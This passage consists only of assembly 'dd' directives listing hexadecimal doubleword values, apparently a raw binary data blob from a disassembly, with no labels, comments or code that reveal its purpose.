dd 0DC7A973Dh, 7C1A2700h, 20AD36A6h, 658E007Eh, 60F47747h
dd 970061A4h, 0ECD068F0h, 29C55Ch, 0F54734D5h, 1FBC0A0Ch
dd 6FE83200h, 65AC583Dh, 6705728Fh, 1033CCEEh, 0C6B169A6h
dd 0C3F05200h, 91F9F2FBh, 806B3B1Bh, 3BF67F73h, 45803AADh
dd 236133CFh, 860076FCh
dd 26DAD52Ch, 0B3692Fh, 670FBC77h, 0F594B108h, 5951D300h
dd 58C4EDCBh, 0DC4503C5h, 63A5D836h, 62B9F690h, 0BC29350Ch
dd 73A62171h, 28E00FAFh, 0E12777D7h, 0CE0AE048h, 0D3009D0Dh
dd 641D13ABh, 0F84CCDh, 42B462C8h, 0EB186AAEh, 22EC7CFCh
dd 0C6FB3A0Ch, 58381024h, 0C700A9BAh, 0EF525C20h, 0A4E85718h
dd 0AF7C70C0h, 0C67422Fh, 4CF0BE4Ah, 318A588h, 2B20AEF1h
dd 0C004000Ah, 0D8B8BD71h, 6400DDA8h, 0E5117817h, 0C5C2E079h
dd 0C0505828h, 39A3504h, 8479B078h, 9C6DFF03h, 5997D3h
dd 8E5B5570h, 0B431DC0Eh, 0E83F8003h, 0C8EADE53h, 0DCE0BEF9h
dd 0BD9ACC18h, 7660FFF0h, 0E8D826A9h, 51D60736h, 905EF1CFh
dd 2DC0420Dh, 9B415600h, 0D3CC28AFh, 80880B20h, 0DD80C932h
dd 6D0EA3D4h, 5D288CA0h, 10E23430h, 0E1E4DDh, 0FE64195Bh
dd 0FA60447Ch, 898AB801h, 5DE61855h, 3C4CDD5h, 0A7300038h
dd 2E4312F9h, 0DE009BFDh, 1ABA48E0h, 0FB06025h, 0AB8293B5h
dd 438B0C20h, 0F3E45F6h, 0CE007B53h, 8F204F6Ah, 7F2765E6h
dd 0A26D0F25h, 0F1006292h, 0B83D4B05h, 6F20FE00h, 7F3B2517h
dd 186102EAh, 6646E25Ah, 0D1ED12C0h, 0FF008E7Ah, 81F065AAh
dd 11E7DECh, 0D77643A0h, 0DC2017B5h, 96011018h, 348771C9h
dd 0B4D8EE5Ch, 304985Eh, 0A78653A2h, 64E043D3h, 948BCE9h
dd 4B1600D4h, 0B5BDA59Eh, 0A6860007h, 962A9001h, 0AF030DB7h
dd 99CE71D4h, 6A6EC07Dh, 0F470003Fh, 0DFEDBCE5h, 4B12174Ch
dd 5013F81Ah, 0D960D819h, 0B385044Ah, 46183ADEh, 2304BF04h
dd 2E5D7014h, 2BFD95F0h, 27C1E00h, 982F1BA6h, 0ECF4B8h
dd 8C463BE7h, 483AE661h, 181348h, 18282363h, 0CAE75FCh
dd 51534AE0h, 82005650h, 54B86325h, 3C6CE845h, 583B40A9h
dd 0C605201h, 806AF118h, 5017020h, 0A7346B64h, 8EF90820h
dd 41D3A4C0h, 3ABC0048h, 9B2354E6h, 2A60473Bh, 9DD7FEC8h
dd 517A00B8h, 0DAAC7F8Bh, 8A0B7CDh, 90FAD83Dh, 6798D400h
dd 65521A28h, 2A8E0192h, 0A068B8C6h, 980F6015h, 0A581DB02h
dd 8002348Fh, 0EF7B0490h, 61210E65h, 834ABC50h, 4EBD1E97h
dd 0A3403479h, 7B0BD3FFh, 68A1FD12h, 9FAA0Eh, 0E949CFB9h
dd 85110753h, 50B77AEEh, 0E648704h, 32438D07h, 60CCECF2h
dd 71A70352h, 0C486F9Fh, 9F255EC1h, 2068BE48h, 3104A975h
dd 86BD746Ch, 3368A97Ch, 0B24720B0h, 0AFDFC450h, 0C46B476Ah
dd 80295A9Dh, 51EFC5C0h, 43363Bh, 0C0A30EFDh, 0EC8067B4h
dd 0E1A80D07h, 808FA27Eh, 9B7D6A0h, 4BEB0E39h, 0DDA3C11Dh
dd 2EA98027h, 886C0ADh, 0F0EC400h, 99981683h, 0EE7C064Bh
dd 18C30ADCh, 76F7CB2Eh, 80D0300Fh, 0C6525A49h, 1E0A158Fh
dd 0F6012001h, 0E3DF7AA6h, 0F2880A82h, 1256A683h, 67EFE0ADh
dd 320F0018h, 3624D8A8h, 73008622h, 0DB53D584h, 0B9004AEh
dd 7ACFD62h, 0AFF63303h, 0E764AAC1h, 70C57FC1h, 400B139h
dd 0F8DE7E47h, 0ADE7E968h, 603E8820h, 0C1F7D070h, 3F550E5Eh
dd 2096F28Fh, 8A593111h, 12E826C0h, 0B440A2BDh, 0E0C22147h
dd 143C0DE2h, 553780C0h, 47C73633h, 2F7584D2h, 7E005B28h
dd 0D41EDF81h, 22275511h, 0B08B2EEh, 41E1580Ah, 1C1CA9C9h
dd 1060EEB6h, 0A8673532h, 983342B5h, 5755F840h, 0DEC56079h
dd 0F2C00009h, 0E7373C2Ch, 6178FF00h, 0AF4D7134h, 0F9C401C9h
dd 4C91DF41h, 5FFDF81Bh, 6CA92500h, 8CC22682h, 0DE2004Dh
dd 9E90605Ch, 5E074943h, 426D8D05h, 9CC0202Ah, 474D1434h
dd 6B31C488h, 0FDF08338h, 0E1878E23h, 0B6BA265h, 0C0B3A602h
dd 80356C64h, 4B327821h, 45859A49h, 860703Dh, 89154878h
dd 0E020C9CCh, 856B6CD5h, 47F7BA87h, 797C8724h, 62508287h
dd 8158CD5h, 427168ADh, 8511A7C8h, 6A52D140h, 0CD27006Dh
dd 8263B5CBh, 0A20F2CB0h, 0A50B0Ch, 9966E279h, 7DC303A0h
dd 3B1BAA61h, 0C5341900h, 49DB61Ch, 21203CBEh, 46296502h
dd 20980B15h, 8E117356h, 0B9F29A20h, 96B20116h, 418F26E0h
dd 1D081FBEh, 80EE5502h, 81D30496h, 101BF48Fh, 0F18A3AE3h
dd 0A0141h, 0E1CA96CDh, 0ADBC524Bh, 60719440h, 0B7FA8FB0h
dd 88204F57h, 9A0258B5h, 51EAB104h, 0C97CA7BFh, 266A9688h
dd 3D5C7FA2h, 86ED3301h, 0EE737EA0h, 20586BE1h, 0CEF64404h
dd 93C4F601h, 59666CB1h, 0A4211880h, 4C9C099Ah, 0B6D9B000h
dd 664D77CEh, 820AC82h, 0A1B41BF9h, 0C2A74354h, 62922DE7h
dd 10203675h, 0B06297FBh, 23F2D77Dh, 8EBAABAh, 68504076h
dd 0FDEC1127h, 964BF2E6h, 25EC0A20h, 0F060564Ch, 6542FFEFh
dd 6D07AC0h, 958FB137h, 0E51CA043h, 9180C095h, 901E7E9Eh
dd 2CC65E2Ch, 0C4A7F247h, 0F204F90h, 0BA178F55h, 4C300C2Dh
dd 54D110A7h, 42CEA887h, 3580864h, 0D8DB01E6h, 3342CBF6h
dd 15A90248h, 3E881C7Eh, 0C86CA526h, 1C8AA450h, 0AB060B94h
dd 3C09C420h, 652B1F9Eh, 7DE7E3BCh, 508824A8h, 624908C2h
dd 274C80E8h, 8FA9FFC6h, 482D1593h, 714A4081h, 1FAA097Fh
dd 46685108h, 5C4D05Bh, 1040AF17h, 0BC30F029h, 93122377h
dd 20708DE5h, 83796DEh, 9AC43DE0h, 0D03D94FBh, 8823165Ah
dd 0CBA5E498h, 99F40088h, 0DBD9AF1Eh, 5D8A8FC2h, 5E512068h
dd 47EFCFC8h, 28F9C4BAh, 98020C28h, 0ABCC330h, 0B1583E93h
dd 8031F008h, 0A9F4238Dh, 4070F5E5h, 8F1992Bh, 0BB71CC4Ah
dd 164690F8h, 730AFFE7h, 67B9EEC8h, 2C405E20h, 3978E809h
dd 4E9F11D0h, 28EDF1BCh, 7702204Ah, 0BE4CDFAAh, 4001573Eh
dd 4B98EE00h, 932759B4h, 3C05928Fh, 2B08E840h, 0F8A7C46Eh
dd 60A52AF1h, 20A5F1Ch, 35F120B4h, 812080A3h, 679E64F2h
dd 49101FBEh, 8002A401h, 655DD0DFh, 2DD96400h, 7B254081h
dd 1F941CF9h, 6BE0BD21h, 0AFF578A8h, 911140h, 7E818A4Fh
dd 0C9B083h, 40607396h, 0EE77182h, 0BAC8B500h, 62AC04E0h
dd 7ACA3325h, 54B0FC51h, 2000C215h, 0E6514278h, 3738119h
dd 7A9EC9E8h, 0BCC053B0h, 4D016FBBh, 0C550E289h, 7C2043F0h
dd 316217ABh, 53F8053Fh, 4838C4C1h, 0C0D37E20h, 804AE8Bh
dd 35E3F1FAh, 910AAA06h, 0F2AC0C19h, 50F86607h, 0CAD0D18h
dd 3009F970h, 0B8314568h, 923A85EDh, 5C4F3C32h, 91A000C0h
dd 0EEA702E1h, 177C2CC4h, 0C25300B0h, 65738243h, 58662400h
dd 0AD2B5581h, 9DDF0F6Bh, 92A0D82Ah, 0F1BD90A7h, 2D175FFEh
dd 400ABA2h, 0B7619329h, 0B068501Dh, 80E67216h, 36676ED2h
dd 0F4255758h, 9DB5F8C0h, 8DFA2E05h, 14D61DA8h, 4980C899h
dd 442927Ch, 94D8462Ch, 280B8C26h, 0FF9400EAh, 330A4E48h
dd 74688968h, 0C8F465F1h, 4CE2B9ACh, 1F5C600h, 0C90A52CDh
dd 0B198036Ch, 9E8F9FC7h, 83E68000h, 1C9431ABh, 4A6C0F24h
dd 0EC219266h, 20778547h, 0E900E077h, 0EE14196Dh, 0F872A1h
dd 53C2447Eh, 236B81ABh, 26FF5C00h, 5EB8A725h, 0F1EC602Dh
dd 73F9612Eh, 0C9F17700h, 79B2F620h, 0ED2D008Dh, 0E1C74CCBh
dd 61E52E0h, 340FC861h, 25550094h, 3E7E410Dh, 5F3E2904h
dd 0F218E638h, 132C30C6h, 35415803h, 0C3DFE48Bh, 0F1CDE0C8h
dd 6ADA0175h, 0CBFAC6E7h, 43CF11F6h, 3FC4E4h, 553D2AC1h
dd 350296EBh, 0A1492E06h, 0A0D3A0h, 0BD6EDA69h, 89E1ADE0h
dd 0E2845F01h, 0DC6BF201h, 14287880h, 179BE71Ah, 0E3CCCA0Fh
dd 0BED26025h, 0F9E20Eh
dd 0B8A1629Ch, 7ECAE165h, 1C4C8F00h, 3DFACFA3h, 37B039Eh
dd 7786E573h, 0E3122ED0h, 355D4F0Ch, 0D1F850h, 5F305983h
dd 90C96560h, 0CE30E47Dh, 6C3F81DDh, 0D88D07F7h, 86E5DFFAh
dd 0C80118C3h, 0C4D383A2h, 7CFFCABEh, 0E47B01C0h, 6D66D9B4h
dd 17906007h, 746B9902h, 8001C6FBh, 0F70AD580h, 0F961C071h
dd 486EB172h, 4083DF0Ch, 0F85B18EAh, 99BB0EA7h, 1C4AED82h
dd 0CF8D8CDCh, 7603C839h, 0FD44C89h, 0E48AE07Ah, 5328072Eh
dd 0E5F9E0DBh, 985040B9h, 8674F615h, 50019CE2h, 82172A7Fh
dd 2098C54Ah, 2CE7783Ch, 0A6DDB0Ch, 67D0E3h, 0A411E53Ah
dd 55C13E2h, 4CD4DE55h, 0A7733F0Ch, 61707B54h, 71BA8114h
dd 50F603F0h, 0E005D644h, 245F75B2h, 2CED1Ch, 0FEDDC02Bh
dd 0EE48303Fh, 714E0F5Ch, 0B31781FAh, 2FF018ACh, 0C3F9DEF1h
dd 18E5B1Ah, 3036469Fh, 0F2DD9104h, 4890EBEAh, 6519D76h
dd 8DD15EACh, 0F2098070h, 0E7993Fh, 0AE1A1270h, 241E4951h
dd 434D2B00h, 9BAC642Eh, 8241477h, 16026C2Dh, 414FD710h
dd 0B848E610h, 0CED10050h, 62C9EC93h, 0D22426A7h, 6380B421h
dd 4755C705h, 2DE1C768h, 0B45F8185h, 9B1080F1h, 345D4CC0h
dd 67090DBh, 12F86815h, 0E01E1A08h, 53925CC4h, 0B3F93400h
dd 0CF4283E7h, 0AC34EBA8h, 0CE51DF03h, 0F009ED5Fh, 87260F17h
dd 8D3FF7D4h, 1884A973h, 48C6245Eh, 0B92A67E7h, 10DB7011h
dd 48EF5769h, 178EC14h, 4E44D111h, 85903C5Fh, 0C8FB33A8h
dd 81508C03h, 0CA00EFACh, 24589962h, 8F3038A1h, 109DB2Dh
dd 4A258420h, 40DD9748h, 0C4DA20FEh, 4490B819h, 2F40C95Fh
dd 0E04C24E8h, 903F2909h, 8258A26Ch, 0E3812008h, 0D8A34A3Bh
dd 525D51B8h, 4FC1DB60h, 9091C240h, 249C5280h, 2565CB83h
dd 638340E4h, 81DB3AACh, 779048DEh, 8A92FB10h, 862C3043h
dd 64A83017h, 31F8516Ah, 0A276B905h, 8030C8C4h, 88C701E7h
dd 8C98D7C3h, 4C9CF24h, 0F5DFC08h, 40E48099h, 0A4448030h
dd 49124454h, 2C008897h, 4B7E38BAh, 0D288C084h, 295F46CDh
dd 8E0FD60h, 640D4254h, 83C7C02Ah, 7ABBEAB0h, 2355E802h
dd 90DA734Ah, 42BB9C3Ch, 0A1240801h, 79C76117h, 463708F1h
dd 0A1E53A85h, 295D0890h, 684FFAC7h, 0DB63842Eh, 0E8A831A3h
dd 38347852h, 0DF787CB7h, 8C92B388h, 42EFF93Ch, 63C2128h
dd 0BE3CF50h, 0E030F02Ch, 4ED931D3h, 98848292h, 0E010D0EFh
dd 76E2FD5Ch, 30879B29h, 0C298D09h, 22A33190h, 0B60C42DBh
dd 21676C40h, 0AEB802DFh, 0A0D08382h, 74639CB0h, 30A75386h
dd 652C1111h, 9C70DDC0h, 844017A6h, 10D87F57h, 0B8C483ACh
dd 7263619Ah, 7D8E1F0Ch, 35478641h, 6D49E11h, 0D2DB2ABh
dd 12DC9A68h, 4ADCE94Ch, 50F4F99Ch, 29843E95h, 0E58DE37h
dd 8210E43Ch, 181A8D04h, 5786DCE3h, 110F457h, 28FDC5E8h
dd 78663C21h, 3086C23h, 0EC01A3D7h, 0F6AAF1CCh, 0CEC85074h
dd 0ACF4B631h, 0A3D8B7C2h, 5449FC19h, 6DDD10CAh, 0C618A212h
dd 31D1E44Ch, 0C40E53BCh, 886CEC29h, 0AF6276C3h, 35893196h
dd 0D1D989E4h, 29603E2Ah, 90846EA1h, 0E71890E5h, 0F431DF65h
dd 0D6182A9Dh, 24841E53h, 20E230A3h, 4C7419DCh, 7A431F6Ch
dd 8AD8672Bh, 0BB3CD86Dh, 902C29A3h, 233C3514h, 89CC91D3h
dd 2B44B844h, 97108678h, 21C28B0Eh, 48109202h, 0BB88A185h
dd 6D327989h, 79EF1418h, 5C2AFCACh, 30223CD6h, 7ABE099Ch
dd 0EC284DA2h, 0CD7B03FCh, 69C8AF1h, 0FF61BDC6h, 2F6CA2E2h
dd 30CB26CDh, 44E9896Ah, 0D87E2C3Dh, 65280669h, 689929C0h
dd 0EB499DF0h, 7D7A0A9Ch, 42F78460h, 0FE3831A2h, 37C011C2h
dd 0CEE70F08h, 932B11BDh, 0C8D18A9Ch, 775964D8h, 10435012h
dd 3CA44867h, 9CA7602Ah, 0E5E1D005h, 84D0CEEAh, 0B0E64574h
dd 0E542E5B4h, 44E8C49Ch, 4900CBD3h, 0E7695EFBh, 0B8E59C33h
dd 0FC0C5C0h, 0CFCCC9DDh, 16A4514Ch, 100F4B10h, 0C02454D8h
dd 0EB7448Ah, 144500B1h, 79462291h, 0DC039A76h, 5DF860F9h
dd 203DB90Fh, 0C4102F1h, 3A1089C5h, 22036FFCh, 3C015112h
dd 2EEDE0A5h, 898018A2h, 0C9A1039h, 531A3F06h, 2018AA98h
dd 0DE00A2D7h, 5EF0216h, 1DE29EA5h, 8010174Ch, 1A99A4C4h
dd 7218BCC9h, 0FB483DEDh, 3BE718F9h, 0DD287886h, 0D4122300h
dd 599F4488h, 27670C63h, 0FA309903h, 13C3851Eh, 0AC55E073h
dd 3B561603h, 739AA93Ah, 79898118h, 0A8B1B291h, 3E61684h
dd 0F86B09DEh, 0C9B0BBB0h, 80004374h, 21EE19F9h, 0C16688C6h
dd 1687BC39h, 8130006Dh, 0FACFF89Fh, 44B90E3Ch, 0EC232CCAh
dd 2903BD8h, 6F89A22h, 2A97D918h, 398BA311h, 7780801Fh
dd 0E34A499Bh, 87066CD8h, 33F4D9E0h, 0A23C0029h, 6FF2664Ch
dd 93001817h, 45D76764h, 0EEB28ECh, 0BC1C903Bh, 1E430280h
dd 0E0039D3h, 0D99F75A3h, 3EF20h, 0BC8F7F29h, 0EC19A0CCh
dd 7A186671h, 0AA5108EAh, 8F1884EDh, 66C1CF6Ch, 79CB6056h
dd 205ED9Fh, 0DB459706h, 1110D8D4h, 0F4C3C7Ah, 18994373h
dd 0F39021B8h, 0E5C806EFh, 888BEE86h, 87B6AD1Ch, 25B78Fh
dd 0F1A56F85h, 0FE8D621h, 0CEAFA453h, 600448FBh, 0D9B5AB6Fh
dd 13B3421h, 91084F19h, 78185130h, 0CADAADCDh, 837847B1h
dd 9A90FAACh, 0C19CA9FBh, 439D566Ah, 0C2FA8248h, 57D4B320h
dd 0C84A5433h, 2CBE0FAEh, 774AF501h, 6C5C800Ch, 4FB155F4h
dd 880280A9h, 50F4E20h, 5E766E89h, 0F4900518h, 9B420AFh
dd 0CC1EF9BDh, 358A496Ch, 5401B8D6h, 16D432BEh, 4473D08Eh
dd 0BF0378D4h, 26A01058h, 0EDCEA010h, 73EA6802h, 14A2C85Ah
dd 8C82B1B0h, 148C316Fh, 0C6057CC8h, 149125AAh, 1F02B801h
dd 0C8E8D319h, 5ADCA8D4h, 4F6C0358h, 0AEEC2BDBh, 0A8A3C4CAh
dd 0DED36501h, 2D81844h, 315A6806h, 3105209h, 7599F479h
dd 2902DBD5h, 61874528h, 6CC88201h, 302C46D7h, 77E8D29Fh
dd 2530DB02h, 4ED4A8CCh, 0C0AE6054h, 9A66211Bh, 934081F3h
dd 2889C36Ch, 2A085881h, 83DAB5EDh, 9ABDCC68h, 185075D3h
dd 68D5A8BCh, 4378C1E4h, 3EF5601Eh, 7B58A202h, 6F6080FDh
dd 0E50B18h, 0AC8A27B9h, 0DE9822C2h, 0F4480861h, 3883650Dh
dd 2B6E2D66h, 0E0447EDAh, 54072C84h, 31738B7Dh, 7202986h
dd 6D24BA57h, 0D1187CDDh, 26CBD0ABh, 0A6784150h, 2457A32Ah
dd 79068600h, 0AA7FF30Eh, 0B68D1F5Bh, 0C1520056h, 93E2CE51h
dd 78E6D900h, 816E4694h, 89EA073Fh, 0F05C0B4Ch, 5B6B68ECh
dd 0DB188460h, 3C913570h, 1F89826h, 0F9BC6E10h, 509DBA92h
dd 0B80B8108h, 82C56600h, 0A309F2E4h, 6787403h, 10123F6Eh
dd 31075179h, 0A5C6C488h, 96DCE5C1h, 0D101880h, 0F50B43BBh
dd 2B353201h, 605918B1h, 0C0EB2CF4h, 0E5A4B868h, 79DE5DD0h
dd 9B99B101h, 1080BC1Dh, 0ECD9FA3Fh, 81301FFBh, 516B167h
dd 6B901E3Eh, 4A650CC7h, 9B261F71h, 321F2BF6h, 345F15h
dd 0FEA7471Eh, 0FE495h, 0E511A8CFh, 404F0396h, 9C16100h
dd 0C7CC07A7h, 17306F3h, 596E0D2Bh, 398FD10Fh, 0F927A10Fh
dd 88404B76h, 403F3A8Ah, 0EB00456Ah, 79B7A50Fh, 7384A2EFh
dd 28A4675Bh, 5FAB41C2h, 0ADD841E5h, 1F2C4009h, 613AC67Fh
dd 38E9B015h, 695DBCAh, 0D681596Bh, 0A5E62830h, 0F26920A8h
dd 0DAAAB018h, 1D16BE9h, 9D105348h, 50EDB69Bh, 0EA89249Ch
dd 3EFE823Bh, 19D93031h
dd 51EF969h, 0FD93E576h, 143C1E9Ah, 961C1009h, 0E6A182D4h
dd 0A485EB6Fh, 1BD046FBh, 92810A2h, 0CC378838h, 0E9C6109Dh
dd 19797821h, 11BF840Ah, 0D126E0E6h, 28313560h, 0A1340A60h
dd 26E00728h, 1A788401h, 18A199FAh, 7C509448h, 50273218h
dd 7EC72349h, 4428D900h, 0CB466996h, 329CA183h, 51CAECh
dd 6559F310h, 0F9039BB2h, 5684E9DFh, 9C80860Bh, 2696A96h
dd 1D7E12B3h, 0EE3FB5Fh, 0A9856007h, 0A7408997h, 4D3368h
dd 80E3A666h, 0F3B9DDEAh, 0C0A040E3h, 0F003566Bh, 0C265E439h
dd 8293C169h, 0FDA68883h, 280108E2h, 0EE2BDFECh, 182095B9h
dd 1E78402Fh, 0E71F3F7Eh, 5E00F27Ch, 15204F52h, 65E508C4h
dd 97029D2Ah, 403E1303h, 15C94758h, 80EFB630h, 5D658400h
dd 61E6EBE4h, 5E3977FEh, 553583D2h, 0E0D80D4Fh, 1F59030Ch
dd 2A76722h, 9A847420h, 6DE65882h, 9628103h, 0EE02B171h
dd 0B71A3420h, 12E40315h, 7F1720A0h, 3F7DA0C4h, 40ECD10Ah
dd 77C506AAh, 60A5A224h, 324DA94h, 2A9DC194h, 2114F14Dh
dd 0F603C850h, 949A40DFh, 48E85730h, 285D1AC0h, 0CFE21317h
dd 4EE132F8h, 0DC7304E3h, 4A3C64D5h, 14F224AFh, 0F870443Fh
dd 0E48831DAh, 10380D18h, 747CA8A2h, 22917482h, 6C6680EEh
dd 0F0C98FB0h, 0E3C74197h, 0EB0EDEC8h, 0F2E6DA00h, 0A49247DFh
dd 59761F1Bh, 447C6410h, 425C8361h, 0E8484178h, 892288Ch
dd 19FA5EFAh, 19C18A1h, 9980E567h, 822C72A5h, 6B097C6Ah
dd 4905104h, 60909CE8h, 121AF3Fh, 2E5BE4DDh, 24C6779Dh
dd 38C29374h, 41A70465h, 0C317D280h, 0AF09DACh, 0C709DD1Fh
dd 159DA81h, 2BF1A36Ch, 9CC5188Ch, 3449F0A8h, 1A122A8h
dd 59818F6Ah, 897565EBh, 0A1A0D139h, 0C1B4284h, 15A568E8h
dd 5C7C1EF4h, 11B48024h, 608E0F62h, 59DF0D31h, 3A08FE2h
dd 1E6DFA6Ah, 10A63410h, 207C8CEFh, 2B18A1D3h, 4F292096h
dd 9E01560h, 0FDA7A9F9h, 3CC5232Ch, 75B4C115h, 8590EC3Eh
dd 0EE046A30h, 0F47C7C81h, 9F9EC081h, 34E77B03h, 0CF28F6A4h
dd 9600EC28h, 901C46EEh, 45B2C38h, 7AE535F5h, 6708919Ah
dd 0CC66E07Bh, 797784A8h, 8EB45100h, 0F7062361h, 0AC64E92Ch
dd 0F03D1F17h, 87CCC027h, 9EF2FBAAh, 2F004490h, 0FC2BFA55h
dd 0A7734D4h, 3B58B22Ah, 409D4464h, 365FACC0h, 0A26A029Eh
dd 0E1656902h, 875BD048h, 5E635D16h, 0B990E840h, 10384359h
dd 7C3ADF04h, 9A310918h, 0DDD4F0h, 5AC32574h, 29D3920Ch
dd 0CBC73A0Fh, 5CA380DCh, 0FA2D81Ah, 0DB6784ADh, 0A4602003h
dd 1DFD1120h, 87AC33B6h, 0C1AE696Eh, 0D452D8F6h, 0D37F8081h
dd 0AD00A1F0h, 63A2C9B1h, 0CDF7694h, 0CD9FB72Eh, 0BC0EF648h
dd 586DE886h, 7272111h, 2EFDA4FCh, 18A356A9h, 28FF9701h
dd 0CC998E15h, 1377E4h, 9AD3ACCFh, 986AB8E0h, 31A53580h
dd 8179F1E1h, 473FD120h, 0C25A8744h, 9FC14C53h, 0A0F240ACh
dd 39003667h, 0D60E2E72h, 4FC7A2h, 290CCCAEh, 74D0BE70h
dd 0BFDBB807h, 60C36237h, 52D9C8E7h, 951A0CBDh, 29618FD3h
dd 18BE5F00h, 41E19F21h, 3610C123h, 8032FD34h, 1ED80A71h
dd 5148661h, 0C8BF6B23h, 0DC1C0E2Ch, 6DA38240h, 873A26DAh
dd 21A853FCh, 453E9D9Bh, 68981FA8h, 23051B8Ch, 0E744573Ah
dd 0A738E821h, 0CF90B18h, 0F830542Ch, 0C773188Dh, 0D2848A9h
dd 0F3C11300h, 0F25635ACh, 0D96D20A2h, 1550F61Ch, 0C022AA66h
dd 5A0741C2h, 0B480908Ch, 309682FBh, 9780A1E0h, 0C925FA1Bh
dd 628C1D71h, 29581F50h, 12B91F5Ah, 2D6E1480h, 0A0B87EDEh
dd 0DDDBB0h, 205BC157h, 0FC817DEFh, 15143214h, 91383058h
dd 5CD877h, 172239BCh, 0D6214C0Eh, 60A1C0C7h, 5B0AF820h
dd 2D10C08Eh, 852AFD51h, 326E0890h, 0B08641E9h, 9C22F2B2h
dd 37E257C2h, 21B48440h, 0D2BA0E06h, 0B061BF9Ah, 704D1F41h
dd 23FE475Ch, 40BC2A5Dh, 5120FF1Fh, 0EF7608A0h, 5EB5AE01h
dd 33FD9F23h, 391C09Eh, 0BB15325h, 0C2187074h, 3D88D53Ah
dd 824491EBh, 0A4073E43h, 0A6788480h, 74A3244Ch, 204D58C0h
dd 20B3B530h, 79AB1Bh, 6E299C85h, 0AE51FDA0h, 4C491A06h
dd 7CD03A8Ch, 5679048Dh, 42D43E4Dh, 0A01C5125h, 0C6BEFACh
dd 0E7DC00A9h, 723376E0h, 303C1136h, 1FBE1DD5h, 9FCE4980h
dd 487D2DBh, 0B1B45378h, 0B2659121h, 0F51C3465h, 2AB7E93Ch
dd 0F0F0B89Dh, 0F84108A6h, 6A5F20F2h, 0A715D287h, 77F499E1h
dd 0ACCAA91Dh, 29CEA14Ch, 0A0943E6Bh, 6E79348Ch, 0F4A801C8h
dd 9CF28606h, 16CC29C0h, 0C6BC6DC9h, 29607A11h, 0AFAC3631h
dd 0F98A2247h, 2114A06Dh, 9B01C8Ch, 0C0106B90h, 4D287152h
dd 56091023h, 1ECA6A5h, 0A03ADD6Ch, 0B04277C9h, 47B30463h
dd 0C460A647h, 48C004BEh, 0C71094B4h, 0EDBA0FA4h, 0A30C065Eh
dd 0F05DFA11h, 0E6A14434h, 46BC30C8h, 646110E7h, 0ACFB5431h
dd 633E4CC8h, 6879E17Bh, 8F38028h, 89104340h, 3266F4B3h
dd 0A155C18h, 0E2609049h, 0F62302FAh, 9BB29A4Eh, 343988A5h
dd 34988298h, 4B275448h, 64CA9226h, 0DCC8FD00h, 4771CA1h
dd 0B2315E60h, 5AAC9056h, 48006DC1h, 0E511EB6Bh, 303D397h
dd 0FAF27E38h, 0E1E04EB0h, 0CA4926Ch, 0DA584BEAh, 166F2004h
dd 21BCD9h, 638B49ABh, 4B2A26F2h, 0EC124089h, 8413E576h
dd 0C02F2003h, 0A0B80CF3h, 23C1B1E1h, 6952B200h, 9D3121F5h
dd 40D6F934h, 26A2F058h, 4154ABACh, 52171333h, 0E442B5FCh
dd 0F63E1480h, 7D196230h, 0C2789532h, 8AE909C7h, 0F00304AEh
dd 73A384A7h, 0A01C8088h, 0FF4BAC0Ch, 10B958A1h, 7468DA1Eh
dd 0F2EA2874h, 6F3EAC01h, 8611F13Fh, 53AE020h, 21FA336Eh
dd 66DC98A2h, 549D9A05h, 0E004AA35h, 0EC80318Fh, 48907B8Ah
dd 0DA0C8E8Eh, 0B959F9B0h, 0B6B44E19h, 0BC324818h, 1FC392Eh
dd 2F3A1DE9h, 27884096h, 0F00077DBh, 3DBCD39Dh, 197050h
dd 51EEE530h, 0F4D5F736h, 15024B7Dh, 52A2CD9Ah, 0ACB885F0h
dd 608A4C80h, 6348C28Ch, 9E0F020Ah, 92AF03C7h, 8D4C9AC9h
dd 0AADBB0ACh, 6584A7D2h, 88768088h, 9CCCA2ADh, 0A56F4F00h
dd 2A862F7Eh, 44F219DFh, 0C25F88Fh, 82118672h, 9010F34Eh
dd 0C99E389h, 0FA34C6B0h, 0F620A6F9h, 3FDF049Fh, 2E2D3044h
dd 73B113h, 912249D8h, 0CFE684D3h, 6284090h, 0F609F890h
dd 877E468Dh, 4752EEACh, 23C8C8BEh, 0DADC40C3h, 7310D800h
dd 0D133AC5Fh, 9F261C18h, 20E7581Eh, 1C0570ADh, 46BCB152h
dd 4C17202Ch, 20409148h, 0F8E20077h, 938D3FF0h, 0CC02204Bh
dd 0EF2F1B23h, 0B3CE8ABh, 78A90062h, 0DB057D26h, 1A015344h
dd 8D7C6F0Dh, 0ADF41B94h, 8B3300CFh, 9D51BB2Eh, 73006DCDh
dd 0A1F7ED82h, 970F70h, 9F16D70Dh, 2D090338h, 0F63C4603h
dd 0C0C09324h, 7F704EBh, 9AFDFB28h, 0DC90702Ah, 3400A573h
dd 413CAA07h, 0B3D70h, 0D0831A44h, 38BA66E7h, 1CE0C0Eh
dd 0CD27441Bh, 972D1880h, 0BEF4D0h, 76E80858h, 0AECC26D1h
dd 0E07A0C00h, 8B6584B1h, 37440166h, 16A97F8Ch, 0C05FC248h
dd 2361D3h, 0CB01BEB8h, 35CDF31Ch, 5BADFF00h, 73B3751Eh
dd 9233311Fh, 0CB5C08B9h, 3F8CCCF8h, 0BCBFF507h, 5B246FEh
dd 98D068EEh, 4BE900B8h, 0CF6D3230h, 0B3009B9Eh, 0CCD31750h
dd 2F15390h, 0EDE7B8ABh, 0A8E47FBFh, 8E005C76h, 9E130B67h
dd 0E3C9849h, 3D8A5AC0h
dd 0CD5FF240h, 0B803F5D6h, 27624164h, 981FB82Bh, 49E600E2h
dd 39F12665h, 9300926Fh, 0AFD61A50h, 185A1DBh, 4C248D0Ch
dd 60E951B4h, 65EE3735h, 1E11B200h, 0F69368B7h, 46400060h
dd 0AB1CE16Eh, 8A00C147h, 4D42F2E5h, 0FF0F9C92h, 81FA9C50h
dd 0DD7E0082h, 314A6DE7h, 193DF4CFh, 797C81A9h, 0EB59909h
dd 0FAC588D0h, 39FD00FEh, 244A57F9h, 0A894A2B4h, 95DBAC00h
dd 0D85B02h, 0BB411E06h, 615EFE04h, 0F0660800h, 0E2A7A94h
dd 24B900DDh, 0F6F8BED2h, 23009EFCh, 46856A4Fh, 588A13h
dd 483A2142h, 0D668E98Ch, 3C96AB3Ch, 0B8923DF1h, 2DB85084h
dd 1AD4F954h, 6E0F6300h, 8BAF173Ah, 5EA0797h, 40F25A7Eh
dd 8892C969h, 9608F403h, 0FC0B40DEh, 0CF165483h, 6D113C20h
dd 358F01C8h, 0C1321FDBh, 0A78860EAh, 1E00F872h, 0F1D09D3h
dd 0E439D538h, 5B150656h, 484A9E3Dh, 1FEE539h, 7275E4B6h
